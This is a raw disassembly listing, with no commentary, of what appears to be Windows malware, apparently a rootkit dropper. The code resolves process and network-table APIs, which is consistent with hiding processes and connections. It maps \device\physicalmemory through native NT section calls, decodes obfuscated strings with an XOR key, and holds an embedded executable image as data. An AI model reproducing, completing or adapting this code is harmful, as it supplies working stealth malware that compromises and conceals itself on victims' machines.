push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245CFC7h
test eax, eax
jnz short loc_43CE11
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43CDCF: ; CODE XREF: .text:0043CDD5j
cmp byte ptr [ebx], 0
jz short loc_43CDD7
inc ebx
jmp short loc_43CDCF
; ---------------------------------------------------------------------------
loc_43CDD7: ; CODE XREF: .text:0043CDD2j
mov word ptr [ebx], 5623h
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FD9F8h
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43CDFD
popa
jmp short loc_43CE11
; ---------------------------------------------------------------------------
loc_43CDFD: ; CODE XREF: .text:0043CDF8j
popa
inc dword ptr [ebp+0Ch]
mov eax, [ebp+24h]
test eax, eax
jz short loc_43CE0A
pop dword ptr [eax]
loc_43CE0A: ; CODE XREF: .text:0043CE06j
mov eax, [ebp+14h]
pop dword ptr [eax]
jmp short loc_43CD9A
; ---------------------------------------------------------------------------
loc_43CE11: ; CODE XREF: .text:0043CDC7j
; .text:0043CDFBj
add esp, 4
cmp dword ptr [ebp+24h], 0
jz short loc_43CE1D
add esp, 4
loc_43CE1D: ; CODE XREF: .text:0043CE18j
pop ebp
retn 20h
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
db 2 dup(0FFh), 0
; char aKernel32_dll[]
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402A48+3F5o
; .text:lpLibFileNameo
; char ModuleName[]
ModuleName db 'ntdll.dll',0 ; DATA XREF: sub_402226+Eo
; .text:0043CE90o ...
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: .text:0043CEE0o
; .text:0043CF00o
aIphlpapi_dll db 'iphlpapi.dll',0
aInetmib1_dll db 'inetmib1.dll',0
aWsock32_dll db 'wsock32.dll',0
aUser32_dll db 'user32.dll',0
; LPCSTR off_43CE7C
off_43CE7C dd offset aProcess32next ; DATA XREF: sub_402A48+BAr
; sub_402A48+EDr ...
; "Process32Next"
; LPCSTR lpLibFileName
lpLibFileName dd offset aKernel32_dll ; DATA XREF: sub_402A48+9Br
; "kernel32.dll"
off_43CE84 dd offset word_43CA1E ; DATA XREF: sub_402843+1F1r
byte_43CE88 db 0 ; DATA XREF: sub_402A48+66r
; sub_402A48+83r
align 4
dd offset dword_43C940+4
dd offset ModuleName ; "ntdll.dll"
dd offset sub_43C95D
dd 1, 43C8BDh, 43CE27h, 43C8CBh, 1, 43C83Ch, 43CE27h, 43C84Ah
dd 2, 43CB35h, 43CE3Eh, 43CB41h, 1, 43CACDh, 43CE3Eh, 43CAD9h
dd 0
dd offset dword_43CBA0+3
dd offset aAdvapi32_dll ; "advapi32.dll"
dd offset sub_43CBB1
dd 1, 43CC47h, 43CE3Eh, 43CC55h, 0
dd offset dword_43CCE0+5
dd offset aAdvapi32_dll ; "advapi32.dll"
dd offset sub_43CCF3
dd 1, 43CD89h, 43CE3Eh, 43CD97h, 5 dup(0)
dd 1
dword_43CF30 dd 0Ah dword_43CF34 dd 0 ; .text:loc_4021C8r ...
; char ProcName[]
ProcName db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402226+25o
db '^H',0
; char aNtunmapviewofs[]
aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_402226+3Ao
db 7Ah, 57h, 34h
dd 7F3640h
; char aNtopensection[]
aNtopensection db 'NtOpenSection',0 ; DATA XREF: sub_402226+4Ao
aBc db ':Bc',0
; char aNtmapviewofsec[]
aNtmapviewofsec db 'NtMapViewOfSection',0 ; DATA XREF: sub_402226+65o
align 2
; char aRtlntstatustod[]
aRtlntstatustod db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_402226+75o
aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_4022BB+95o
align 4
aDevicePhysical: ; DATA XREF: sub_4022BB+Eo
unicode 0, <\device\physicalmemory>,0
byte_43CFE6 db 0 ; DATA XREF: sub_4022BB+5Eo
dword_43CFE7 dd 465420h byte_43CFEB db 0 ; DATA XREF: sub_4022BB+A1o
dword_43CFEC dd 248243h word_43CFF0 dw 66h ; DATA XREF: sub_4024A8+4r
align 4
dword_43CFF4 dd 0 dword_43CFF8 dd 11h dword_43CFFC dd 0 ; .text:loc_4024EAr ...
aWcscmp db 'wcscmp',0 ; DATA XREF: .text:lpProcNameo
aHtons db 'htons',0
aVirtualprotect db 'VirtualProtect',0
aNua db 'NU€',0
aGetcurrentproc db 'GetCurrentProcessId',0
dd 6E694600h, 6E695764h, 41776F64h, 74306B00h, 3B6E704Dh
dd 6E655300h, 73654D64h, 65676173h, 3E530041h, 7349007Eh
dd 52646142h, 50646165h, 37007274h, 83382520h, 6C470065h
dd 6C61626Fh, 646E6946h, 6D6F7441h, 6C470041h, 6C61626Fh
dd 646E6946h, 6D6F7441h, 57h
byte_43D090 db 3 ; DATA XREF: sub_402563+87r
align 4
; LPCSTR lpProcName
lpProcName dd offset aWcscmp ; DATA XREF: sub_402563+FBr
; sub_402563+15Er
; "wcscmp"
; LPCSTR lpModuleName
lpModuleName dd offset ModuleName ; DATA XREF: sub_402563+E8r
; "ntdll.dll"
dd 5, 43D007h, 43CE65h, 7, 43D00Dh, 43CE27h, 8, 43D020h
dd 43CE27h, 9, 43D035h, 43CE71h, 0Ah, 43D049h, 43CE71h
dd 0Bh, 43D05Ah, 43CE27h, 0Ch, 43D06Eh, 43CE27h, 0Dh, 43D07Eh
dd 43CE27h
dword_43D0FC dd 6C244343h db 2Bh, 6Eh, 0
word_43D103 dw 68h ; DATA XREF: sub_402563+14Br
byte_43D105 db 54h, 2Dh, 2Bh ; DATA XREF: sub_402563+1BDo
dd 26646Ch
dword_43D10C dd 774E8035h db 68h, 76h, 0
byte_43D113 db 7Ah ; DATA XREF: sub_402843+DFo
db 20h, 0
word_43D116 dw 494Eh ; DATA XREF: sub_402843+135o
db 2Ah, 6Ch, 0
word_43D11B dw 62h ; DATA XREF: sub_402843+191r
byte_43D11D db 6Ch, 75h, 0 ; DATA XREF: sub_402A48+3Fo
dword_43D120 dd 672F244Fh, 207564hdword_43D128 dd 33453B2Dh db 0
byte_43D12D db 21h, 2Fh, 7Ah ; DATA XREF: sub_402A48+511o
dd 245F74h
byte_43D134 db 0 ; DATA XREF: sub_402A48+60Eo
byte_43D135 db 20h, 5Ah, 0 ; DATA XREF: sub_402A48+7DEo
dd 7, 10h
dword_43D140 dd 0 ; sub_4032E2:loc_403308r ...
dword_43D144 dd 7A78816Fh, 406E71hbyte_43D14C db 0 ; DATA XREF: sub_403370+9Eo
word_43D14D dw 4Eh ; DATA XREF: sub_40341E+6Cr
word_43D14F dw 57h ; DATA XREF: sub_40349A+Cr
dword_43D151 dd 813B36h byte_43D155 db 20h, 4Ah, 39h ; DATA XREF: sub_40349A+79o
dd 4535h
dword_43D15C dd 1 dd 0Ah
dword_43D164 dd 0 ; sub_40354F:loc_40357Dr ...
byte_43D168 db 5Eh, 48h, 0 ; DATA XREF: sub_4035DB+Fo
byte_43D16B db 7Ah ; DATA XREF: sub_4035DB+1Fo
dd 36403457h
db 7Fh, 0
word_43D172 dw 6421h ; DATA XREF: sub_4036BC+17o
dd 39436Dh, 0
dd 11h
dword_43D180 dd 0 ; sub_40372A:loc_403751r ...
dword_43D184 dd 2062393Ah db 37h, 2Dh, 0
byte_43D18B db 55h ; DATA XREF: .text:004038E9o
dd 80h, 6, 0Eh
dword_43D198 dd 0 ; sub_40390E:loc_403943r ...
dword_43D19C dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0)
dd 80h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
dd 2000h, 10000000h, 1000h, 200h, 1, 0
dd 4, 0
dd 8000h, 400h, 0
dd 2, 100000h, 1000h, 100000h, 1000h, 0
dd 10h, 7000h, 48h, 5000h, 37Ch, 6 dup(0)
dd 6000h, 0DCh, 3000h, 54h, 12h dup(0)
dd 7865742Eh, 74h, 7BCh, 1000h, 7BCh, 400h, 3 dup(0)
dd 60000020h, 7373622Eh, 0
dd 0FE0h, 2000h, 5 dup(0)
dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
dd 3 dup(0)
dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
dd 3 dup(0)
dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
dd 3 dup(0)
dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
dd 3 dup(0)
dd 2000020h, 6164652Eh, 6174h, 48h, 7000h, 48h, 1800h
dd 3 dup(0)
dd 40000020h, 5Ch dup(0)
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_43D5BB
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_43D5BB: ; CODE XREF: .text:0043D5AAj
retn
; =============== S U B R O U T I N E =======================================
sub_43D5BC proc near ; CODE XREF: .text:0043D6E4p
; .text:0043D712p
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push 10001000h
push large dword ptr fs:0
mov large fs:0, esp
loc_43D5D9: ; CODE XREF: sub_43D5BC+44j
; sub_43D5BC+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43D608
cmp esi, [esp+1Ch+arg_4]
jz short loc_43D608
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43D5D9
call dword ptr [ebx+esi*4+8]
jmp short loc_43D5D9
; ---------------------------------------------------------------------------
loc_43D608: ; CODE XREF: sub_43D5BC+2Aj
; sub_43D5BC+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43D5BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D616 proc near ; CODE XREF: .text:0043D6D7p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push 10001092h
push [ebp+arg_0]
call sub_43DCB0
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43D616 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_43D70B
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43D669: ; CODE XREF: .text:0043D702j
cmp esi, 0FFFFFFFFh
jz loc_43D71A
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43D6F9
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov ds:10004034h, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov ds:10004038h, eax
mov eax, [edx+4]
mov ds:1000403Ch, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, ds:10004040h
mov esi, ds:10004038h
rep movsd
lea edi, ds:10004040h
mov ds:10004038h, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43D6F9
js short loc_43D707
mov edi, [ebx+8]
push ebx
call sub_43D616
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43D5BC
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43D6F9: ; CODE XREF: .text:0043D67Aj
; .text:0043D6CFj
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43D669
; ---------------------------------------------------------------------------
loc_43D707: ; CODE XREF: .text:0043D6D1j
xor eax, eax
jmp short loc_43D724
; ---------------------------------------------------------------------------
loc_43D70B: ; CODE XREF: .text:0043D64Ej
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43D5BC
add esp, 0Ch
loc_43D71A: ; CODE XREF: .text:0043D66Cj
push 0Bh
call sub_43DD1C
add esp, 4
loc_43D724: ; CODE XREF: .text:0043D709j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_43D73D
call sub_43D760
loc_43D73D: ; CODE XREF: .text:0043D736j
call sub_43DC0F
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, ds:10004000h
call eax
loc_43D752: ; CODE XREF: .text:0043D75Ej
pop edi
pop esi
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
mov eax, 1
jmp short loc_43D752
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D760 proc near ; CODE XREF: .text:0043D738p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_43DCD4
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_43DCD4
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_43DCD4
mov [ebp+var_C], eax
push 1000401Eh
push [ebp+var_8]
call sub_43DCC8
mov ds:10004008h, eax
push 1000401Ch
push [ebp+var_4]
call sub_43DCC8
mov ds:10004004h, eax
push 1000401Ch
push [ebp+var_C]
call sub_43DCC8
add esp, 30h
mov ds:1000400Ch, eax
mov edi, ds:10004004h
or edi, edi
jz short loc_43D7D9
push 0
push edi
call sub_43DD28
add esp, 8
loc_43D7D9: ; CODE XREF: sub_43D760+6Cj
mov edi, ds:1000400Ch
or edi, edi
jz short loc_43D7F3
push 0
push edi
call sub_43DD28
add esp, 8
call sub_43D7F8
loc_43D7F3: ; CODE XREF: sub_43D760+81j
pop edi
leave
retn
sub_43D760 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D7F8 proc near ; CODE XREF: sub_43D760+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_43DC44
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_43D835
; ---------------------------------------------------------------------------
loc_43D814: ; CODE XREF: sub_43D7F8+45j
cmp byte ptr ds:0[ebx], 3Dh
jz short loc_43D821
inc [ebp+var_C]
loc_43D821: ; CODE XREF: sub_43D7F8+24j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_43D835: ; CODE XREF: sub_43D7F8+1Aj
cmp byte ptr ds:0[ebx], 0
jnz short loc_43D814
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_43DCF8
pop ecx
mov [ebp+var_8], eax
mov ds:10004010h, eax
cmp [ebp+var_8], 0
jnz short loc_43D868
xor eax, eax
jmp short loc_43D8DE
; ---------------------------------------------------------------------------
loc_43D868: ; CODE XREF: sub_43D7F8+6Aj
mov ebx, [ebp+var_10]
jmp short loc_43D8C1
; ---------------------------------------------------------------------------
loc_43D86D: ; CODE XREF: sub_43D7F8+D1j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr ds:0[ebx], 3Dh
jz short loc_43D8BB
push [ebp+var_4]
call sub_43DCF8
pop ecx
mov esi, [ebp+var_8]
mov ds:0[esi], eax
or eax, eax
jnz short loc_43D8A4
jmp short loc_43D8DE
; ---------------------------------------------------------------------------
loc_43D8A4: ; CODE XREF: sub_43D7F8+A8j
push ebx
mov edi, [ebp+var_8]
push dword ptr ds:0[edi]
call sub_43DD4C
add esp, 8
add [ebp+var_8], 4
loc_43D8BB: ; CODE XREF: sub_43D7F8+91j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43D8C1: ; CODE XREF: sub_43D7F8+73j
cmp byte ptr ds:0[ebx], 0
jnz short loc_43D86D
mov edx, [ebp+var_8]
mov dword ptr ds:0[edx], 0
mov eax, 1
loc_43D8DE: ; CODE XREF: sub_43D7F8+6Ej
; sub_43D7F8+AAj
pop edi
pop esi
pop ebx
leave
retn
sub_43D7F8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D8E4 proc near ; CODE XREF: sub_43D98E+22p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 181h
push esi
push [ebp+arg_0]
mov eax, ds:10004098h
lea eax, ds:10002000h[eax]
push eax
call sub_43DD04
add esp, 0Ch
xor edi, edi
jmp short loc_43D92D
; ---------------------------------------------------------------------------
loc_43D913: ; CODE XREF: sub_43D8E4+4Bj
mov eax, ds:10004098h
add eax, edi
lea eax, ds:10002000h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D9h
mov [eax], dl
inc edi
loc_43D92D: ; CODE XREF: sub_43D8E4+2Dj
cmp edi, esi
jl short loc_43D913
mov [ebp+var_8], 389h
mov eax, ds:10004098h
add eax, esi
mov byte ptr ds:10002000h[eax], 0
xor edi, edi
mov edi, ds:10004098h
add dword ptr ds:10004098h, 3
mov eax, ds:10004098h
lea eax, [eax+esi+4]
mov ds:10004098h, eax
inc dword ptr ds:10004098h
cmp dword ptr ds:10004098h, 0DB6h
jle short loc_43D97D
and dword ptr ds:10004098h, 0
loc_43D97D: ; CODE XREF: sub_43D8E4+90j
mov [ebp+var_C], 9Ch
lea eax, [edi+10002000h]
pop edi
pop esi
leave
retn
sub_43D8E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D98E proc near ; CODE XREF: .text:0043DB27p
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
lea edi, [ebp+var_5]
lea esi, ds:1000409Ch
xor ecx, ecx
inc ecx
rep movsb
call sub_43DC80
push 5
push 100040BDh
call sub_43D8E4
add esp, 8
push eax
push 0
push 1F0001h
call sub_43DCA4
mov [ebp+var_4], eax
or eax, eax
jz short loc_43D9E9
mov [ebp+var_C], 4FA1h
inc [ebp+var_C]
push eax
call sub_43DC5C
mov [ebp+var_E], 6C6Dh
inc [ebp+var_E]
xor eax, eax
inc eax
loc_43D9E9: ; CODE XREF: sub_43D98E+3Cj
pop edi
pop esi
leave
retn
sub_43D98E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D9ED proc near ; CODE XREF: .text:0043DB5Bp
var_10A = byte ptr -10Ah
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
call sub_43DC38
call sub_43DC68
mov ecx, edi
or eax, 0FFFFFFFFh
loc_43DA0B: ; CODE XREF: sub_43D9ED+23j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DA0B
mov ebx, eax
mov [ebp+var_6], bx
mov ax, [ebp+var_6]
mov [ebp+var_2], ax
jmp short loc_43DA40
; ---------------------------------------------------------------------------
loc_43DA22: ; CODE XREF: sub_43D9ED+59j
movzx eax, [ebp+var_2]
cmp byte ptr [edi+eax], 5Ch
jnz short loc_43DA3C
call sub_43DC2C
inc [ebp+var_2]
call sub_43DC80
jmp short loc_43DA48
; ---------------------------------------------------------------------------
loc_43DA3C: ; CODE XREF: sub_43D9ED+3Dj
dec [ebp+var_2]
loc_43DA40: ; CODE XREF: sub_43D9ED+33j
movzx eax, [ebp+var_2]
or eax, eax
jg short loc_43DA22
loc_43DA48: ; CODE XREF: sub_43D9ED+4Dj
mov ax, [ebp+var_2]
cmp ax, [ebp+var_6]
jnb short loc_43DA86
mov [ebp+var_4], 0
jmp short loc_43DA74
; ---------------------------------------------------------------------------
loc_43DA5A: ; CODE XREF: sub_43D9ED+97j
movzx eax, [ebp+var_4]
movzx edx, [ebp+var_2]
mov ecx, eax
add ecx, edx
mov dl, [edi+ecx]
mov [ebp+eax+var_10A], dl
inc [ebp+var_4]
loc_43DA74: ; CODE XREF: sub_43D9ED+6Bj
movzx eax, [ebp+var_4]
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jle short loc_43DA5A
loc_43DA86: ; CODE XREF: sub_43D9ED+63j
mov esi, 6BBCh
add esi, 7D41h
lea eax, [ebp+var_10A]
push eax
call sub_43DC98
call sub_43DC8C
pop edi
pop esi
pop ebx
leave
retn
sub_43D9ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DAA7 proc near ; CODE XREF: .text:0043DBAEp
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
call sub_43DC38
push 100040BBh
push [ebp+arg_0]
call sub_43DD40
add esp, 8
lea edi, [ebp+var_8]
lea esi, ds:1000409Dh
movsd
movsd
pop edi
pop esi
leave
retn
sub_43DAA7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 21Ch
push esi
push edi
mov ax, ds:100040A5h
mov [ebp-217h], ax
mov eax, ds:10004094h
add eax, 698h
push eax
call sub_43DD34
mov byte ptr [ebp-100h], 84h
sub byte ptr [ebp-100h], 68h
mov eax, ds:10004090h
mov edx, eax
add edx, 5
push edx
mov edx, 0Fh
sub edx, ds:10004094h
push edx
mov edx, 4
sub edx, eax
push edx
call sub_43D98E
add esp, 10h
or eax, eax
jz short loc_43DB3B
xor eax, eax
inc eax
jmp loc_43DBE4
; ---------------------------------------------------------------------------
loc_43DB3B: ; CODE XREF: .text:0043DB31j
push 104h
lea eax, [ebp-205h]
push eax
push dword ptr [ebp+8]
call sub_43DC50
call sub_43DC38
lea eax, [ebp-205h]
push eax
call sub_43D9ED
mov byte ptr [ebp-101h], 1Bh
add byte ptr [ebp-101h], 1
lea edi, [ebp-215h]
lea esi, ds:100040A7h
mov ecx, 4
rep movsd
push 0FFh
lea eax, [ebp-0FFh]
push eax
call sub_43DC74
mov eax, ds:100040B7h
mov [ebp-21Bh], eax
call sub_43DC38
call sub_43DC2C
lea eax, [ebp-0FFh]
push eax
call sub_43DAA7
call sub_43DC80
lea eax, [ebp-215h]
push eax
lea eax, [ebp-0FFh]
push eax
call sub_43DD40
add esp, 10h
push 1
lea eax, [ebp-0FFh]
push eax
call sub_43DCBC
call sub_43DC68
xor eax, eax
inc eax
loc_43DBE4: ; CODE XREF: .text:0043DB36j
pop edi
pop esi
leave
retn 0Ch
; ---------------------------------------------------------------------------
align 4
push eax
fnstcw word ptr [esp]
mov eax, [esp]
btr dword ptr [esp], 8
or word ptr [esp], 200h
; START OF FUNCTION CHUNK FOR sub_43DC0F
loc_43DBFE: ; CODE XREF: sub_43DC0F+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
loc_43DC02: ; CODE XREF: .text:0043DC0Dj
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_43DC0F
; ---------------------------------------------------------------------------
push eax
fnstcw word ptr [esp]
pop eax
jmp short loc_43DC02
; =============== S U B R O U T I N E =======================================
sub_43DC0F proc near ; CODE XREF: .text:loc_43D73Dp
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0043DBFE SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_43DBFE
sub_43DC0F endp
; ---------------------------------------------------------------------------
align 10h
jmp dword ptr ds:100050E8h
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC2C proc near ; CODE XREF: sub_43D9ED+3Fp
; .text:0043DBA2p
jmp dword ptr ds:100050ECh
sub_43DC2C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC38 proc near ; CODE XREF: sub_43D9ED+Fp
; sub_43DAA7+7p ...
jmp dword ptr ds:100050F0h
sub_43DC38 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC44 proc near ; CODE XREF: sub_43D7F8+10p
jmp dword ptr ds:100050F4h
sub_43DC44 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC50 proc near ; CODE XREF: .text:0043DB4Ap
jmp dword ptr ds:100050F8h
sub_43DC50 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC5C proc near ; CODE XREF: sub_43D98E+49p
jmp dword ptr ds:100050FCh
sub_43DC5C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC68 proc near ; CODE XREF: sub_43D9ED+14p
; .text:0043DBDCp
jmp dword ptr ds:10005100h
sub_43DC68 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC74 proc near ; CODE XREF: .text:0043DB8Dp
jmp dword ptr ds:10005104h
sub_43DC74 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC80 proc near ; CODE XREF: sub_43D98E+16p
; sub_43D9ED+48p ...
jmp dword ptr ds:10005108h
sub_43DC80 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC8C proc near ; CODE XREF: sub_43D9ED+B0p
jmp dword ptr ds:1000510Ch
sub_43DC8C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DC98 proc near ; CODE XREF: sub_43D9ED+ABp
jmp dword ptr ds:10005110h
sub_43DC98 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DCA4 proc near ; CODE XREF: sub_43D98E+32p
jmp dword ptr ds:10005114h
sub_43DCA4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DCB0 proc near ; CODE XREF: sub_43D616+13p
jmp dword ptr ds:10005118h
sub_43DCB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DCBC proc near ; CODE XREF: .text:0043DBD7p
jmp dword ptr ds:1000511Ch
sub_43DCBC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DCC8 proc near ; CODE XREF: sub_43D760+33p
; sub_43D760+45p ...
jmp dword ptr ds:10005128h
sub_43DCC8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DCD4 proc near ; CODE XREF: sub_43D760+Bp
; sub_43D760+17p ...
jmp dword ptr ds:1000512Ch
sub_43DCD4 endp
; ---------------------------------------------------------------------------
align 10h
jmp dword ptr ds:10005130h
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; ---------------------------------------------------------------------------
jmp dword ptr ds:10005134h
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DCF8 proc near ; CODE XREF: sub_43D7F8+58p
; sub_43D7F8+96p
jmp dword ptr ds:10005138h
sub_43DCF8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DD04 proc near ; CODE XREF: sub_43D8E4+23p
jmp dword ptr ds:1000513Ch
sub_43DD04 endp
; ---------------------------------------------------------------------------
align 10h
jmp dword ptr ds:10005140h
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
